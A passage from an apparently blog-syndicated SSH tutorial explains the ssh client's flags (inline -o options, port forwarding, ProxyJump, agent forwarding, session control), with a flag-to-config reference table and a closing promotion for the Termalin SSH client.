&lt;p&gt;This is the flag worth understanding deeply, because it subsumes dozens of others. &lt;strong&gt;&lt;code&gt;-o&lt;/code&gt; sets any &lt;code&gt;ssh_config&lt;/code&gt; option inline.&lt;/strong&gt; Anything you could write in &lt;code&gt;~/.ssh/config&lt;/code&gt; under a &lt;code&gt;Host&lt;/code&gt; block, you can pass as &lt;code&gt;-o Option=value&lt;/code&gt; — not a short list of blessed options, but the entire config vocabulary, available for a single connection.&lt;/p&gt;

&lt;p&gt;A few that come up constantly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;IdentitiesOnly&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/right_key user@host   &lt;span class="c"&gt;# offer only this key&lt;/span&gt;
ssh &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;StrictHostKeyChecking&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;accept-new user@host          &lt;span class="c"&gt;# trust new hosts, still catch changes&lt;/span&gt;
ssh &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;ServerAliveInterval&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30 user@host                    &lt;span class="c"&gt;# keepalive for a flaky link&lt;/span&gt;
ssh &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;ProxyJump&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;bastion.example.com db.internal           &lt;span class="c"&gt;# hop through a bastion inline&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;-o IdentitiesOnly=yes&lt;/code&gt; is the fix for &lt;code&gt;Too many authentication failures&lt;/code&gt; when your agent offers six keys and a strict server cuts you off after five. &lt;code&gt;-o StrictHostKeyChecking=accept-new&lt;/code&gt; is the sane middle ground — auto-trust a host you've never seen, but still scream if a known host's key &lt;em&gt;changes&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The point: you don't need a special flag for each behavior. If you know the config directive, you know the flag — it's &lt;code&gt;-o Directive=value&lt;/code&gt;. Once you're passing three or four every time, move them into config for good.&lt;/p&gt;

&lt;h2&gt;
  
  
  Forwarding and tunnels
&lt;/h2&gt;

&lt;p&gt;The port-plumbing flags. The mental model — &lt;em&gt;which side opens the port&lt;/em&gt; — gets its own read in &lt;a href="https://termal.in/blog/ssh-port-forwarding-tunnels/" rel="noopener noreferrer"&gt;SSH port forwarding explained&lt;/a&gt;; here's the flag summary.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-L &amp;lt;local&amp;gt;:&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;&lt;/code&gt;&lt;/strong&gt; — local forward. Open a port on &lt;strong&gt;your&lt;/strong&gt; machine that tunnels to a destination reachable from the server. &lt;code&gt;ssh -L 5432:localhost:5432 db.example.com&lt;/code&gt; brings a remote database to your &lt;code&gt;127.0.0.1:5432&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-R &amp;lt;remote&amp;gt;:&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;&lt;/code&gt;&lt;/strong&gt; — remote forward. Open a port on &lt;strong&gt;the server&lt;/strong&gt; that tunnels back to your side — the reverse-tunnel trick for reaching a machine behind NAT.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-D &amp;lt;port&amp;gt;&lt;/code&gt;&lt;/strong&gt; — dynamic forward. A SOCKS proxy on your machine; destination chosen per connection. &lt;code&gt;ssh -D 1080 jump.example.com&lt;/code&gt;, then point a browser at &lt;code&gt;127.0.0.1:1080&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-N&lt;/code&gt;&lt;/strong&gt; — don't run a remote command. Pair with any forward when you want &lt;em&gt;only&lt;/em&gt; the tunnel and no shell.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-f&lt;/code&gt;&lt;/strong&gt; — background &lt;code&gt;ssh&lt;/code&gt; after it connects. Combine with &lt;code&gt;-N&lt;/code&gt; for a fire-and-forget tunnel: &lt;code&gt;ssh -fN -L 5432:localhost:5432 db.example.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-g&lt;/code&gt;&lt;/strong&gt; — let other machines on your LAN use a local (&lt;code&gt;-L&lt;/code&gt;/&lt;code&gt;-D&lt;/code&gt;) forward, not just &lt;code&gt;127.0.0.1&lt;/code&gt;. A small exposure — you're opening the tunnel to your whole network, so use it deliberately.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Jump hosts and the agent
&lt;/h2&gt;

&lt;p&gt;Reaching the next hop, and the flag you should be cautious with.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-J &amp;lt;jumphost&amp;gt;&lt;/code&gt;&lt;/strong&gt; — ProxyJump. Tunnel &lt;em&gt;through&lt;/em&gt; a bastion and authenticate end-to-end from your laptop to the target. &lt;code&gt;ssh -J bastion.example.com db.internal&lt;/code&gt;. The bastion only shuttles encrypted bytes; your key never lands on it — the right way through a gateway. Full case: &lt;a href="https://termal.in/blog/ssh-proxyjump-bastion-host/" rel="noopener noreferrer"&gt;ProxyJump: reach servers behind a bastion&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-A&lt;/code&gt;&lt;/strong&gt; — agent forwarding. Exposes a socket on the remote host that proxies signing requests back to your local agent, so a process there can authenticate &lt;em&gt;as you&lt;/em&gt; to the next server. Convenient and riskier than it looks: anyone with root on that host can borrow your identity while the session is open. Use &lt;code&gt;-J&lt;/code&gt; for "reach the next hop" and keep &lt;code&gt;-A&lt;/code&gt; for hosts you fully trust — the reasons are in &lt;a href="https://termal.in/blog/ssh-agent-forwarding-risks/" rel="noopener noreferrer"&gt;agent forwarding is convenient and dangerous&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Between the two: &lt;code&gt;-J&lt;/code&gt; gets your shell to a host behind the bastion without lending anyone your keys; &lt;code&gt;-A&lt;/code&gt; lends your keys' &lt;em&gt;live use&lt;/em&gt; to the box you connected to. Not the same trade.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session control
&lt;/h2&gt;

&lt;p&gt;The small flags that fix specific annoyances.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-t&lt;/code&gt;&lt;/strong&gt; — force a pseudo-terminal. Needed for a remote command that expects an interactive TTY: &lt;code&gt;ssh -t host 'sudo systemctl status nginx'&lt;/code&gt; gives you a real terminal for the &lt;code&gt;sudo&lt;/code&gt; prompt and colored output. Double it (&lt;code&gt;-tt&lt;/code&gt;) to force one when there's no local TTY.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-q&lt;/code&gt;&lt;/strong&gt; — quiet mode. Suppresses warnings and banners; useful in scripts where you want only the command's own output.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-C&lt;/code&gt;&lt;/strong&gt; — request compression. A real win on slow, high-latency links; negligible or slightly negative on a fast LAN.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-o BatchMode=yes&lt;/code&gt;&lt;/strong&gt; — never prompt. If auth would need a password or passphrase, fail immediately instead of hanging. This is what makes SSH safe inside cron and CI — a stuck prompt in an unattended script hangs forever.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The compact reference
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Does&lt;/th&gt;
&lt;th&gt;ssh_config equivalent&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-p 2222&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Non-standard port&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Port 2222&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;-l user&lt;/code&gt; / &lt;code&gt;user@&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Login user&lt;/td&gt;
&lt;td&gt;&lt;code&gt;User user&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-i ~/.ssh/key&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Specific identity&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IdentityFile ~/.ssh/key&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-F file&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Alternate config file&lt;/td&gt;
&lt;td&gt;— (this &lt;em&gt;is&lt;/em&gt; the config)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;-v&lt;/code&gt; … &lt;code&gt;-vvv&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Verbose / debug&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LogLevel DEBUG3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-o Opt=val&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Any config option inline&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(the option itself)&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-L a:host:b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Local forward&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LocalForward a host:b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-R a:host:b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Remote forward&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RemoteForward a host:b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-D 1080&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Dynamic (SOCKS) forward&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DynamicForward 1080&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No remote command&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;RequestTTY no&lt;/code&gt; (+ no command)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Background after connect&lt;/td&gt;
&lt;td&gt;— (one-off only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-g&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Open forward to your LAN&lt;/td&gt;
&lt;td&gt;&lt;code&gt;GatewayPorts yes&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-J host&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Jump through a bastion&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ProxyJump host&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Forward the agent&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ForwardAgent yes&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Force a TTY&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RequestTTY force&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-q&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Quiet&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LogLevel QUIET&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Compression&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Compression yes&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-o BatchMode=yes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Never prompt&lt;/td&gt;
&lt;td&gt;&lt;code&gt;BatchMode yes&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The right column is the tell. Almost every flag has a config equivalent, and that's the workflow: use the flag once to prove a connection works, then move the ones you'll repeat into &lt;code&gt;~/.ssh/config&lt;/code&gt; so &lt;code&gt;ssh web1&lt;/code&gt; carries all of them with no flags at all. The flags with &lt;em&gt;no&lt;/em&gt; config equivalent — &lt;code&gt;-f&lt;/code&gt;, &lt;code&gt;-F&lt;/code&gt;, the debug verbosity — are the genuinely one-off ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where a client keeps the state for you
&lt;/h2&gt;

&lt;p&gt;Flags and config both live in your dot-files, per machine, and that hurts at scale: settings copied across laptops by hand, tunnels re-run after every sleep, no way to see which of forty hosts is up. &lt;a href="https://termal.in/features/" rel="noopener noreferrer"&gt;Termalin&lt;/a&gt; keeps the same facts a flag would carry — port, user, key, jump host, saved local/remote/dynamic forwards — attached to the host as structured data, organized into folders and tags, synced across your machines end-to-end encrypted (on Pro). It verifies each server on first connect, shows live status per host, and starts saved tunnels at launch and restarts them if they drop, instead of a retyped command. The flags teach you what's happening; a client stops you retyping them every morning.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin is a free, cross-platform SSH client that stores per-host settings, keys and tunnels for you — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;download it&lt;/a&gt;, or read how it &lt;a href="https://termal.in/security/" rel="noopener noreferrer"&gt;handles your keys safely&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ssh</category>
      <category>cheatsheet</category>
      <category>productivity</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
